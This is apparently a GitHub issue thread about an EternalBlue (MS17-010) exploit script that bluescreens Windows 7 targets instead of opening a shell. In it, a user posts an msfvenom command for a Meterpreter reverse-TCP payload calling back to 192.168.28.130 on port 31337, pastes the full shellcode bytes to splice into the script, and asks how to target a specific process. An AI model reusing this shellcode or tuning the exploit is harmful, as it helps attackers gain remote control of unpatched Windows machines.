Does not work.

[Dviros]

Hello,
after trying multiple payload codes (x64,x86) I could not make it to work.
The machine always gets a bluescreen with no result (shell).

Different python code was able to work and exploit.
Can you please confirm?

Thanks,
Dvir

[e0x70i]

Hi Dviros,

This uses the same exploit logic as the Metasploit module, which only works on Windows 7 and Server 2008 R2 systems.

What OS were you targeting? Can you also link the python exploit you were successful with? We'd like to add support for more operating systems and increase the general reliability of the script, so may incorporate exploit logic from some of the other publicly available exploits in the future

[Dviros]

Thanks a lot for your reply. I was targeting windows 7 64bit. The metasploit payload was working: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb ), And this python code was working too (although it wasn't too stable): https://github.com/worawit/MS17-010/blob/master/eternalblue_exploit7.py I've noticed that the shellcode feom each script is different. Metasploit uses this shellcode: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm And the python one uses ashellcode based on "sleepya"s work: https://github.com/worawit/MS17-010/blob/master/shellcode/eternalblue_kshellcode_x64.asm For my best opinion, the cause for the instability is the shellcode. My shell payload is as follows: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.28.130 LPORT=31337 -f powershell And I'm adding the following to line 619, like you mentioned: 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x7a,0x69,0xc0,0xa8,0x1c,0x82,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0x5,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x0,0x0,0x0,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x4,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x0,0x10,0x0,0x0,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x0,0x40,0x0,0x0,0x41,0x58,0x6a,0x0,0x5a,0x41,0xba,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x1,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 Can you please verify? Also, is it possible to target specific process in your script to attack (like in the metasploit payload)? Thanks a lot! Dvir

[0x9f99]

I get a bluescreen too